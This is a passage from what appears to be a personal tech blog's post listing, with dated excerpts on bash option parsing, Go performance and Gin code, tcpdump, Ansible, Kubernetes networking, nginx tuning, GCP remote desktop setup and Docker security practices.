 echo -e "Invalid command option.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(($OPTIND -1))"

Note that we’ve updated optstring as well. Now it starts with the colon(:) character, which suppresses the default error message.
The getopts function disables error reporting when the OPTERR variable is set to zero.

Parsing Long Command-Line Options With getopt

#!/bin/bash

VALID_ARGS=$(getopt -o abg:d: --long alpha,beta,gamma:,delta: -- "$@")
if [[ $? -ne 0 ]]; then
 exit 1;
fi

eval set -- "$VALID_ARGS"
while [ : ]; do
 case "$1" in
 -a | --alpha)
 echo "Processing 'alpha' option"
 shift
 ;;
 -b | --beta)
 echo "Processing 'beta' option"
 shift
 ;;
 -g | --gamma)
 echo "Processing 'gamma' option. Input argument is '$2'"
 shift 2
 ;;
 -d | --delta)
 echo "Processing 'delta' option. Input argument is '$2'"
 shift 2
 ;;
 --) shift;
 break
 ;;
 esac
done

-o option represents the short command-line options
--long option represents the long command-line options

Go code refactoring : the 23x performance hunt

Tue, 07 Jun 2022 13:42:07 +0800

Go code refactoring : the 23x performance hunt

$ go test -bench=. -cpuprofile cpu.prof
$ go tool pprof -svg cpu.prof > cpu.svg

$ go test -bench=. -trace trace.out
$ go tool trace trace.out

Dockertest: A Fast Way to Set Up Integration Test Environments

Thu, 12 May 2022 16:43:31 +0800

Tcpdump Usage Summary

Thu, 05 May 2022 13:39:10 +0800

Tcpdump Usage Summary

Command usage

tcpdump uses the command line. The command format is:

tcpdump [ -AdDeflLnNOpqRStuUvxX ] [ -c count ]
 [ -C file_size ] [ -F file ]
 [ -i interface ] [ -m module ] [ -M secret ]
 [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ]
 [ -W filecount ]
 [ -E spi@ipaddr algo:secret, ... ]
 [ -y datalinktype ] [ -Z user ]
 [ expression ]

Simple option notes for tcpdump

-E spi@ipaddr algo:secret , ... can decrypt IPsec ESP packets using spi@ipaddr algo:secret. The secret is the ESP key, expressed as an ASCII string. If it starts with 0x, the key is read as hex. In addition to the syntax above (spi@ipaddr algo:secret), you can append a syntax input filename for tcpdump to use (replace … in spi@ipaddr algo:secret, ... with a syntax filename). This file is opened when the first ESP packet arrives, so it is best to drop some privileges at that time (to reduce risk if the file is malicious).
-T type forces tcpdump to analyze packets according to the protocol structure specified by type. Known type values include:
- aodv (Ad-hoc On-demand Distance Vector protocol, used in Ad hoc peer-to-peer networks)
- cnfp (Cisco NetFlow protocol)
- rpc (Remote Procedure Call)
- rtp (Real-Time Applications protocol)
- rtcp (Real-Time Applications control protocol)
- snmp (Simple Network Management Protocol)
- tftp (Trivial File Transfer Protocol)
- vat (Visual Audio Tool, an application-layer protocol used for video conferencing on the internet)
- wb (distributed White Board, an application-layer protocol for online meetings)

Practical command examples

Capture communication between host 210.27.48.1 and host 210.27.48.2 or 210.27.48.3

Go High-Performance Programming Handbook (Long Read)

Fri, 22 Apr 2022 18:01:43 +0800

Go High-Performance Programming Handbook (Long Read)

Common data structures

Reflection is nice, but don’t overuse it

Prefer strconv over fmt
A small amount of repetition is not worse than reflection
Use binary.Read and binary.Write with caution
- binary.Read and binary.Write use reflection and are slow. If you need these two functions, implement the required logic manually instead of using them directly.

Avoid repeated conversions from string to byte slice

Specify container (slice/map) capacity

How to Make an iPhone Ringtone: Turn an MP3 into a Ringtone or Alarm

Sun, 10 Apr 2022 20:01:37 +0800

Step 1: Prepare the MP3 you want to use as an iPhone ringtone

First, prepare the music you want to use as a ringtone. MP3 is recommended. Save it in the Files app.

Step 2: Make an iPhone ringtone with GarageBand

Next, open the built-in GarageBand app on iPhone (re-download it if you deleted it), tap “Create Song”, and choose “Recorder”.

How to Choose a Go File Reading Approach

Tue, 29 Mar 2022 16:15:34 +0800

How to Choose a Go File Reading Approach

Go provides one-shot methods for reading file content: os.ReadFile and ioutil.ReadFile. Starting from Go 1.16, ioutil.ReadFile is equivalent to os.ReadFile.

The pros and cons of loading a file in one shot are obvious: it reduces IO operations, but it loads the entire file into memory. For large files, this risks running out of memory.

Read line by line

In Go, the bufio.Reader type provides ReadLine(), but in practice we more often use ReadBytes(’\n’) or ReadString(’\n’).

Convert a List to a List of Dicts

Wed, 09 Mar 2022 11:26:23 +0800

Convert a List to a List of Dicts

list

my_users:
 - aaa
 - bbb
 - ccc

dict

my_users:
 - Name: aaa
 - Name: bbb
 - Name: ccc

playbook

- name: Transform data
 vars:
 orig_users:
 - aaa
 - bbb
 - ccc
 my_users: []
 set_fact:
 my_users: "{{ my_users + [{} | combine({'Name': item})] }}"
 loop: "{{ orig_users }}"

Explanation:

Use the combine filter to build a dict
Use loop to iterate orig_users
Use my_users + [{} | combine({‘Name’: item})] to append to the list```

Misspelling, missing collection, or incorrect module path for fortios_system_config_backup_restore

Thu, 06 Jan 2022 13:40:40 +0800

Misspelling, missing collection, or incorrect module path for fortios_system_config_backup_restore

issue

Hi,

I’m trying to retrieve the configuration from a Fortigate using the module fortios_system_config_backup_restore and basing on your playbook example.

I have ansible 2.10.6.

When I use the collection fortinet.fortios:1.1.8, I got the following error: missing 1 required positional argument: 'mod'

The full traceback is:
Traceback (most recent call last):
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 102, in <module>
 _ansiballz_main()
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 94, in _ansiballz_main
 invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 40, in invoke_module
 runpy.run_module(mod_name='ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore', init_globals=None, run_name='__main__', alter_sys=True)
 File "/usr/lib/python3.8/runpy.py", line 207, in run_module
 return _run_module_code(code, init_globals, run_name, mod_spec)
 File "/usr/lib/python3.8/runpy.py", line 97, in _run_module_code
 _run_code(code, mod_globals, init_globals,
 File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
 exec(code, run_globals)
 File "/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py", line 472, in <module>
 File "/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py", line 436, in main
TypeError: __init__() missing 1 required positional argument: 'mod'
fatal: [fortigate-01]: FAILED! => {
 "changed": false,
 "module_stderr": "Traceback (most recent call last):\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 102, in <module>\n _ansiballz_main()\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 94, in _ansiballz_main\n invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 40, in invoke_module\n runpy.run_module(mod_name='ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore', init_globals=None, run_name='__main__', alter_sys=True)\n File \"/usr/lib/python3.8/runpy.py\", line 207, in run_module\n return _run_module_code(code, init_globals, run_name, mod_spec)\n File \"/usr/lib/python3.8/runpy.py\", line 97, in _run_module_code\n _run_code(code, mod_globals, init_globals,\n File \"/usr/lib/python3.8/runpy.py\", line 87, in _run_code\n exec(code, run_globals)\n File \"/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\", line 472, in <module>\n File \"/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\", line 436, in main\nTypeError: __init__() missing 1 required positional argument: 'mod'\n",
 "module_stdout": "",
 "msg": "MODULE FAILURE\nSee stdout/stderr for the exact error",
 "rc": 1
}

Using the recent pre release fortinet.fortios:2.0.0 , I got:

Struct Tricks Every Gopher Should Know

Mon, 03 Jan 2022 15:08:31 +0800

Struct Tricks Every Gopher Should Know

NoCopy

$ go vet aaa.go
# command-line-arguments
./aaa.go:7:14: test passes lock by value: sync.WaitGroup contains sync.noCopy
./aaa.go:15:10: call of test copies lock value: sync.WaitGroup contains sync.noCopy

type noCopy struct{}

type WaitGroup struct {
 noCopy noCopy

 // 64-bit value: high 32 bits are counter, low 32 bits are waiter count.
 // 64-bit atomic operations require 64-bit alignment, but 32-bit
 // compilers only guarantee that 64-bit fields are 32-bit aligned.
 // For this reason on 32 bit architectures we need to check in state()
 // if state1 is aligned or not, and dynamically "swap" the field order if
 // needed.
 state1 uint64
 state2 uint32
}

noCopy is very simple: an empty struct. It has zero size and takes no space (as long as it is not the last field of a struct; otherwise there is still an 8-byte space overhead).

How Nginx Hides Upstream Errors

Mon, 27 Dec 2021 15:47:12 +0800

How Nginx Hides Upstream Errors

Nginx allows enabling next upstream for the following seven retryable error codes

403 Forbidden
404 Not Found
429 Too Many Requests
500 Internal Server Error
502 Bad Gateway
503 Server Unavailable
504 Gateway Timeout

When upstream returns 404, return a 200 response with a not-found image

You can use proxy_intercept_errors to achieve this.\n> When proxy_intercept_errors is enabled, requests with upstream response codes >= 300 can be further handled via the error_page directive.

Argo CD ApplicationSet Controller: The World Turns for Me!

Mon, 27 Dec 2021 09:41:03 +0800

# Install kind; see the official docs for other platforms
# Run a lightweight k8s cluster locally
~$ brew install kind
# Install kubectx; see the official docs for other platforms
# Use it to switch between k8s contexts
~$ brew install kubectx
# Install helm; see the official docs for other platforms
# K8s package manager
~$ brew install helm
# Install kubectl; see the official docs for other platforms
# Communicate with the k8s cluster API server
~$ brew install kubectl
# Install argocd cli; see the official docs for other platforms
# Communicate with Argo CD
~$ brew install argocd

Go AES Encryption and Decryption in Three Modes (CBC/ECB/CFB)

Wed, 22 Dec 2021 17:40:52 +0800

Understanding Cilium Series (1): Introduction to Cilium

Tue, 21 Dec 2021 13:04:38 +0800

Understanding Cilium Series (1): Introduction to Cilium

Current status of k8s Service load balancing implementations

Before Cilium, Services were implemented by kube-proxy in three modes: userspace, iptables, and ipvs.

Userspace

In this mode, kube-proxy acts as a reverse proxy and listens on random ports. It redirects traffic to the proxy port via iptables rules, and kube-proxy forwards the traffic to backend pods. Service requests go from user space into kernel iptables and then back to user space, which is costly and has poor performance.

Kubernetes Without kube-proxy

Mon, 20 Dec 2021 17:57:13 +0800

Kubernetes Without kube-proxy

Quick-Start

kubeadm init --skip-phases=addon/kube-proxy

# Setup Helm repository
helm repo add cilium https://helm.cilium.io/


helm install cilium cilium/cilium --version 1.9.18 \
 --namespace kube-system \
 --set kubeProxyReplacement=strict \
 --set k8sServiceHost=REPLACE_WITH_API_SERVER_IP \
 --set k8sServicePort=REPLACE_WITH_API_SERVER_PORT

Zsh tab-completion not working

Fri, 10 Dec 2021 17:44:49 +0800

Zsh tab-completion not working

Question

Although I’ve used Oh-My-Zsh in the past, I decided this time around (i.e. setting up a new computer) I’d try to avoid installing it to keep things a bit leaner. Right now I’m trying to cherry-pick Oh-My-Zsh’s insensitive tab-completion feature. Digging around its source repo, I found the following line: zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|=*' 'l:|=* r:|=*'

I’m fairly confident this is the line Oh-My-Zsh executes to do what I want, so I tried adding it to my .zshrc. Restarted my terminal. Typed cd desk, then hit [tab]. No dice – I didn’t get cd Desktop/.

Linkerd 2.8 - Build a Simple and Secure Multi-Cluster Kubernetes Architecture

Thu, 09 Dec 2021 09:25:44 +0800

Linkerd 2.8 - Build a Simple and Secure Multi-Cluster Kubernetes Architecture

Best Practices for Writing Bash Scripts

Mon, 06 Dec 2021 11:11:54 +0800

#!/usr/bin/env bash
# Bash3 Boilerplate. Copyright (c) 2014, kvz.io
set -o errexit
set -o pipefail
set -o nounset
# set -o xtrace

# Set magic variables for current file & dir
__dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
__file="${__dir}/$(basename "${BASH_SOURCE[0]}")"
__base="$(basename ${__file} .sh)"
__root="$(cd "$(dirname "${__dir}")" && pwd)" # <-- change this as it depends on your app

arg1="${1:-}"

Use shift to read function arguments

This makes it easier to reorder arguments, if you change your mind later.

Day 28 - Introduction to Useful Third-Party Kubernetes Tools

Thu, 02 Dec 2021 13:28:09 +0800

Day 28 - Introduction to Useful Third-Party Kubernetes Tools

$ kubectl get pods
NAME READY STATUS RESTARTS AGE
ithome-6564f65698-947rv 1/1 Running 0 84s
ithome-6564f65698-fglr9 1/1 Running 0 84s
ithome-6564f65698-k5wtg 1/1 Running 0 84s
ithome-6564f65698-rrvk4 1/1 Running 0 84s
ithome-6564f65698-zhwlj 1/1 Running 0 84s

Stern/Kail

The names of created pods often contain some unreadable random strings.

If you use kubectl to observe logs for individual pods, you need to switch between different pods.

There are many tools for this, such as Stern, Kube-tail, and Kail.

5 DevSecOps open source projects to know

Tue, 30 Nov 2021 12:41:13 +0800

5 DevSecOps open source projects to know

Clair

Sigstore

KubeLinter

Open Policy Agent and Gatekeeper

Falco

[Kubernetes] Service Overview

Wed, 24 Nov 2021 14:00:45 +0800

[Kubernetes] Service Overview

Define Service

With selector

Since you need Pods before you define a Service, assume there are Pods in the cluster (exposing TCP port 9376) with the label app=MyApp. You can define a Service as an abstraction layer in front of those pods and provide the service through a domain name.

kind: Service
apiVersion: v1
metadata:
 name: my-service
spec:
 # type has four options (ClusterIP, NodePort, LoadBalancer, ExternalName)
 # default is ClusterIP
 type: ClusterIP
 # select pods with "app=MyApp"
 selector:
 app: MyApp
 # Service port configuration
 ports:
 - protocol: TCP
 port: 80
 # This is the port number exposed by the Pod
 targetPort: 9376

Pod <---> Endpoint(tcp:9376) <---> Service(tcp:80, with VIP)

How Go Reads a 16GB File in 25 Seconds

Mon, 22 Nov 2021 11:07:17 +0800

After opening the file, we have two options:

Read the file line by line, which reduces memory pressure but takes more time.

Read the entire file into memory and process it, which uses more memory but significantly reduces time.

Because the file is too large (16 GB), we cannot load the entire file into memory. But the first option is also not feasible for us because we want to process the file within seconds.

Bind JSON with jsoniter in Gin

Mon, 22 Nov 2021 10:27:39 +0800

Bind JSON with jsoniter in Gin

simple

go build -tags=jsoniter ./...

custom

implement `BindingBody` interface

// github.com/gin-gonic/gin@v1.6.3/binding/binding.go:36
// Binding describes the interface which needs to be implemented for binding the
// data present in the request such as JSON request body, query parameters or
// the form POST.
type Binding interface {
 Name() string
 Bind(*http.Request, interface{}) error
}
// BindingBody adds BindBody method to Binding. BindBody is similar with Bind,
// but it reads the body from supplied bytes instead of req.Body.
type BindingBody interface {
 Binding
 BindBody([]byte, interface{}) error
}

package custom
import (
 "bytes"
 "fmt"
 "io"
 "net/http"
 jsoniter "github.com/json-iterator/go"
 "github.com/gin-gonic/gin/binding"
)
// BindingJSON replaces Gin's default binding and supports richer JSON features
var BindingJSON = jsonBinding{}
// You can customize jsoniter config or add plugins
var json = jsoniter.ConfigCompatibleWithStandardLibrary
type jsonBinding struct{}
func (jsonBinding) Name() string {
 return "json"
}
func (jsonBinding) Bind(req *http.Request, obj interface{}) error {
 if req == nil || req.Body == nil {
 return fmt.Errorf("invalid request")
 }
 return decodeJSON(req.Body, obj)
}
func (jsonBinding) BindBody(body []byte, obj interface{}) error {
 return decodeJSON(bytes.NewReader(body), obj)
}
func decodeJSON(r io.Reader, obj interface{}) error {
 decoder := json.NewDecoder(r)
 if binding.EnableDecoderUseNumber {
 decoder.UseNumber()
 }
 if binding.EnableDecoderDisallowUnknownFields {
 decoder.DisallowUnknownFields()
 }
 if err := decoder.Decode(obj); err != nil {
 return err
 }
 return validate(obj)
}
func validate(obj interface{}) error {
 if binding.Validator == nil {
 return nil
 }
 return binding.Validator.ValidateStruct(obj)
}

// Replace binding.JSON with the custom one
ctx.ShouldBindWith(ms, binding.JSON)
ctx.ShouldBindBodyWith(ms, binding.JSON)

Golang os/exec usage (notes)

Fri, 12 Nov 2021 11:34:30 +0800

Golang os/exec usage (notes)

Add extra environment variables before running a command

cmd := exec.Command("programToExecute")
additionalEnv := "FOO=bar"
newEnv := append(os.Environ(), additionalEnv)
cmd.Env = newEnv
out, err := cmd.CombinedOutput()
if err != nil {
 log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("%s", out)

Use os/exec with pipes or bash expressions on Linux

rcmd := `iw dev | awk '$1=="Interface"{print $2}'`
cmd := exec.Command("bash", "-c", rcmd)
out, err := cmd.CombinedOutput()
if err != nil {
 log.Println(err.Error())
}
log.Println(string(out))

Use os/exec with batch expressions on Windows

cmd := exec.Command("cmd", "/c", "ffmpeg -i myfile.mp4 myfile.mp3 && del myfile.mp4")
out, err := cmd.CombinedOutput()
if err != nil {
 log.Println(err.Error())
}
log.Println(string(out))

Fix local language issues in Windows CMD with os/exec

cmd := exec.Command("cmd", "/c", "chcp 65001 && netsh WLAN show drivers")
out, err := cmd.CombinedOutput()
if err != nil {
 log.Println(err.Error())
}
log.Println(string(out))

When using this method, remember to remove the first line of output (the chcp response) before further processing.

Uncle Joe teaches Elastic - 30 - Elasticsearch optimization tips (4/4) - Shard optimization management

Wed, 10 Nov 2021 13:12:35 +0800

Uncle Joe teaches Elastic - 30 - Elasticsearch optimization tips (4/4) - Shard optimization management

Planning considerations

During search, each shard uses one thread. Too many shards can slow things down.

A node has multiple thread pools by function. The search (count/search/suggest) pool size is int((# of allocated processors * 3) / 2) + 1 and the default queue_size is 1000. The write (index/delete/update/bulk) pool size is # of allocated processors and the default queue_size is also 1000. (Official docs - Thread pools)

Regex for Markdown Syntax

Fri, 29 Oct 2021 10:19:41 +0800

# Headings
headerOne = `(#{1}\s)(.*)`
headeTwo = `(#{2}\s)(.*)`
headerThree = `(#{3}\s)(.*)`
headerFour = `(#{4}\s)(.*)`
headerFive = `(#{5}\s)(.*)`
headerSix = `(#{6}\s)(.*)`
# Bold and Italic Text
boldItalicText = `(\*|\_)+(\S+)(\*|\_)+`
# Links
linkText = `(\[.*\])(\((http)(?:s)?(\:\/\/).*\))`
# Images
imageFile = `(\!)(\[(?:.*)?\])(\(.*(\.(jpg|png|gif|tiff|bmp))(?:(\s\"|\')(\w|\W|\d)+(\"|\'))?\)`
# Unordered List
listText = `(^(\W{1})(\s)(.*)(?:$)?)+`
# Numbered Text
numberedListText = `(^(\d+\.)(\s)(.*)(?:$)?)+`
# Block Quotes
blockQuote = `((^(\>{1})(\s)(.*)(?:$)?)+`
# Inline Code
inlineCode = "(\\`{1})(.*)(\\`{1})"
# Code Block
codeBlock = "(\\`{3}\\n+)(.*)(\\n+\\`{3})"
# Horizontal Line
horizontalLine = `(\=|\-|\*){3}`
# Email Text
emailText = `(\<{1})(\S+@\S+)(\>{1})`
# TABLES
tableText = `(((\|)([a-zA-Z\d+\s#!@'"():;\\\/.\[\]\^<={$}>?(?!-))]+))+(\|))(?:\n)?((\|)(-+))+(\|)(\n)((\|)(\W+|\w+|\S+))+(\|$)`

Google Cloud Platform(GCP): Access Linux Server using GUI running in GCP instance using Windows Remote Desktop Connection.

Wed, 20 Oct 2021 16:15:48 +0800

Google Cloud Platform(GCP): Access Linux Server using GUI running in GCP instance using Windows Remote Desktop Connection.

# This will install GUI and make it as a default startup option and then restart the machine.
$ sudo yum install xrdp tigervnc-server

~# sudo su
~# passwd
~# systemctl enable --now xrdp

~# netstat -antup | grep xrdp
tcp 0 0 0.0.0.0:3389 0.0.0.0:* LISTEN 10202/xrdp
tcp 0 0 127.0.0.1:3350 0.0.0.0:* LISTEN 10201/xrdp-sesman

[Notes] Build an Ubuntu remote desktop environment on GCP

Wed, 20 Oct 2021 16:14:47 +0800

[Notes] Build an Ubuntu remote desktop environment on GCP

Install

# dependency
sudo apt-get install ubuntu-desktop gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal

# VNC Server
sudo apt-get install vnc4server

# After install, run vncserver and set the password when prompted
vncserver

Modify `~/.vnc/xstartup`

#!/bin/sh

# Uncomment the following two lines for normal desktop:
# unset SESSION_MANAGER
# exec /etc/X11/xinit/xinitrc

[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
x-window-manager &

gnome-panel &
gnome-settings-daemon &
metacity &
nautilus &

Execute

# Kill the current vncserver and restart
vncserver -kill :1
# vncserver defaults to port 5900; :1 is 5901, and so on
vncserver :1

Start vncserver on reboot

@reboot /usr/bin/vncserver :1

Understand the crypto trio: Encode, Encrypt, and Hash

Mon, 18 Oct 2021 14:24:01 +0800

Understand the crypto trio: Encode, Encrypt, and Hash

Encoding

It does not change the data and has no encryption effect. It simply represents the data in another form. A classic example is Morse code.

JavaScript has two useful functions: encodeURI and decodeURI, which encode special characters in URLs (spaces, punctuation, etc.) into URL-safe formats.

Base64 encodes binary data into ASCII characters.

Huffman Coding is a lossless compression encoding algorithm. In short, it compresses by abbreviating frequently used symbols.

Encryption

Encryption and decryption require a key. In the simplest Caesar cipher, each letter is shifted by an offset, and that offset is the key for encryption/decryption.

Fix Nginx 500 errors (too many open files, connection)

Sat, 09 Oct 2021 11:51:06 +0800

Fix Nginx 500 errors (too many open files, connection)

Nginx 500 errors only show up in logs. Two common cases:

socket() failed (24: Too many open files) while connecting to upstream

$ sudo su - www-data
$ ulimit -n # check current limit (ulimit -a shows all params)
1024

# vim /etc/security/limits.conf # set nofile (max number of open files)
# add/modify the following two lines
* soft nofile 655360
* hard nofile 655360

ulimit -n # log out and log back in to see the new value
655360

# If ulimit -n is not 655360, run ulimit -n 655360 to force set it
# Then verify with ulimit -n or ulimit -Sn (soft) and ulimit -Hn (hard) (or ulimit -a).

# Calculate and set from system level
lsof | wc -l # count open files
sudo vim /etc/sysctl.conf
fs.file-max = 3268890
sudo sysctl -p

512 worker_connections are not enough while connecting to upstream

# /etc/nginx/nginx.conf
worker_connections 10240;

# Refer to Nginx CoreModule
# worker_processes 2;
# worker_rlimit_nofile 10240;
# events {
# # worker_connections 10240;
# }

# Increasing Nginx connections can slow down overall speed because php-cgi is not enough.
# Adjust as follows.

# php-cgi was started with phpfcgid_children="10" and phpfcgid_requests="500"
# ab was run on another server, connect via a switch using GBit ethernet
# http://till.klampaeckel.de/blog/archives/30-PHP-performance-III-Running-nginx.html

# vim /etc/nginx/nginx.conf
worker_connections 10240;
worker_rlimit_nofile

# vim /etc/init.d/php-fcgi
PHP_FCGI_CHILDREN=15
PHP_FCGI_MAX_REQUESTS=1000
change to
PHP_FCGI_CHILDREN=512 # or 150 and increase gradually, watch MySQL connections
PHP_FCGI_MAX_REQUESTS=10240

# The article's phpfcgid_stop() function is good and can be used if needed.
# phpfcgid_stop() {
# echo "Stopping $name."
# pids=`pgrep php-cgi`
# pkill php-cgi
# wait_for_pids $pids
# }

Super easy! Build a beautiful and handy zsh terminal

Thu, 07 Oct 2021 08:44:18 +0800

Sign git commits with GPG

Tue, 05 Oct 2021 18:28:06 +0800

Sign git commits with GPG

Common shell scripting tips

Wed, 22 Sep 2021 13:01:11 +0800

Golang benchmarks

Thu, 02 Sep 2021 12:50:33 +0800

Golang benchmarks

Basics

Benchmarks are used for performance testing. Functions should import the testing package and define functions that start with Benchmark. The parameter type is testing.B, and the target function is called repeatedly inside the benchmark loop.

➜ go test -bench=. -run=none
goos: darwin
goarch: amd64
pkg: pkg06
cpu: Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz
BenchmarkFib-12 250 4682682 ns/op
PASS
ok pkg06 1.875s
➜ go test -bench=. -benchmem -run=none
goos: darwin
goarch: amd64
pkg: pkg06
cpu: Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz
BenchmarkFib-12 249 4686452 ns/op 0 B/op 0 allocs/op
PASS
ok pkg06 1.854s

How bench works

The benchmark function keeps running until b.N is no longer valid; it is the number of iterations.
b.N starts at 1. If the benchmark completes within 1 second (default), b.N increases and the benchmark runs again.
b.N increases in the sequence 1,2,5,10,20,50,... and the benchmark reruns.
The result above means it ran 250 times in 1 second, with each run taking 4682682 ns.
The -12 suffix relates to GOMAXPROCS. The default value is the number of CPUs visible to the Go process at startup. You can change it with -cpu, and pass multiple values to run multiple benchmarks.

Run with multiple CPU counts

➜ go test -bench=. -cpu=1,2,4 -benchmem -run=none
goos: darwin
goarch: amd64
pkg: pkg06
cpu: Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz
BenchmarkFib 244 4694667 ns/op 0 B/op 0 allocs/op
BenchmarkFib-2 255 4721201 ns/op 0 B/op 0 allocs/op
BenchmarkFib-4 256 4756392 ns/op 0 B/op 0 allocs/op
PASS
ok pkg06 5.826s

Run benchmarks multiple times with count

Due to CPU throttling, memory locality, background work, GC activity, etc., a single run may be noisy. It is common to run benchmarks multiple times.

Back up databases with mydumper

Wed, 01 Sep 2021 17:58:48 +0800

Docker Security Best Practices: Cheat Sheet

Fri, 20 Aug 2021 23:14:30 +0800

Docker Security Best Practices: Cheat Sheet

Image Security

Use Trusted Images

Unprivileged User

FROM base_image
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
USER appuser

User ID Namespace

Segregate namespaces to prevent container privilege escalation from affecting the host.

To mitigate this risk, configure your host and the Docker daemon to use a separate namespace with the --userns-remap option.

Container Runtime Security

Forbid New Privileges

For enhanced security, it is recommended to explicitly forbid the addition of new privileges after container creation using this option: --security-opt=no-new-privileges.

[Translated] Go inline strategy and limitations

Sat, 14 Aug 2021 20:33:41 +0800

package main

import "fmt"

func main() {
 n := []float32{120.4, -46.7, 32.50, 34.65, -67.45}
 fmt.Printf("The total is %.02f\n", sum(n))
}

func sum(s []float32) float32 {
 var t float32
 for _, v := range s {
 if t < 0 {
 t = add(t, v)
 } else {
 t = sub(t, v)
 }
 }
 return t
}

func add(a, b float32) float32 { return a + b }
func sub(a, b float32) float32 { return a - b }

Run with -gflags="-m" to show which functions are inlined.

SQL Join types explained visually

Fri, 13 Aug 2021 16:16:54 +0800

SQL Join types explained visually

Little Git Tricks: Use .mailmap to Merge Different Authors

Thu, 05 Aug 2021 13:42:14 +0800

Little Git Tricks: Use .mailmap to Merge Different Authors

.mailmap file ==> Name you want to keep <email> Name you no longer want <email>

John Doe John Doe
John Doe John Doe
John Doe john doe
Max Example Max

before

$ git shortlog -se
 1 John Doe <John@Doe.org>
 1 John Doe <John@doe.org>
 2 John Doe <john@doe.org>
 1 Max <max@test.co.uk>
 3 Max Example <hi@test.com>
 1 john doe <john@doe.org>

after

$ git shortlog -se
 5 John Doe <john@doe.org>
 4 Max Example <hi@test.com>

Go Modules workflow for private Git repositories

Fri, 23 Jul 2021 09:40:39 +0800

Go Modules workflow for private Git repositories

go env -w GOPRIVATE=github.com/appleboy
1. go env -w GONOPROXY=github.com/appleboy
2. go env -w GONOSUMDB=github.com/appleboy
git config --global url."https://$USERNAME:$ACCESS_TOKEN@github.com".insteadOf "https://github.com"
1. git config --global url.ssh://git@your.private.git/.insteadOf https://your.private.git/

Gin documentation (Chinese)

Thu, 22 Jul 2021 15:55:48 +0800

Customize route log format

default

[GIN-debug] POST /foo --> main.main.func1 (3 handlers)
[GIN-debug] GET /bar --> main.main.func2 (3 handlers)
[GIN-debug] GET /status --> main.main.func3 (3 handlers)

import (
 "log"
 "net/http"

 "github.com/gin-gonic/gin"
)

func main() {
 r := gin.Default()
 gin.DebugPrintRouteFunc = func(httpMethod, absolutePath, handlerName string, nuHandlers int) {
 log.Printf("endpoint %v %v %v %v\n", httpMethod, absolutePath, handlerName, nuHandlers)
 }

 r.POST("/foo", func(c *gin.Context) {
 c.JSON(http.StatusOK, "foo")
 })

 r.GET("/bar", func(c *gin.Context) {
 c.JSON(http.StatusOK, "bar")
 })

 r.GET("/status", func(c *gin.Context) {
 c.JSON(http.StatusOK, "ok")
 })

 // Listen and Server in http://0.0.0.0:8080
 r.Run()
}

Run multiple services with Gin

package main

import (
 "log"
 "net/http"
 "time"

 "github.com/gin-gonic/gin"
 "golang.org/x/sync/errgroup"
)

var (
 g errgroup.Group
)

func router01() http.Handler {
 e := gin.New()
 e.Use(gin.Recovery())
 e.GET("/", func(c *gin.Context) {
 c.JSON(
 http.StatusOK,
 gin.H{
 "code": http.StatusOK,
 "error": "Welcome server 01",
 },
 )
 })

 return e
}

func router02() http.Handler {
 e := gin.New()
 e.Use(gin.Recovery())
 e.GET("/", func(c *gin.Context) {
 c.JSON(
 http.StatusOK,
 gin.H{
 "code": http.StatusOK,
 "error": "Welcome server 02",
 },
 )
 })

 return e
}

func main() {
 server01 := &http.Server{
 Addr: ":8080",
 Handler: router01(),
 ReadTimeout: 5 * time.Second,
 WriteTimeout: 10 * time.Second,
 }

 server02 := &http.Server{
 Addr: ":8081",
 Handler: router02(),
 ReadTimeout: 5 * time.Second,
 WriteTimeout: 10 * time.Second,
 }

 g.Go(func() error {
 return server01.ListenAndServe()
 })

 g.Go(func() error {
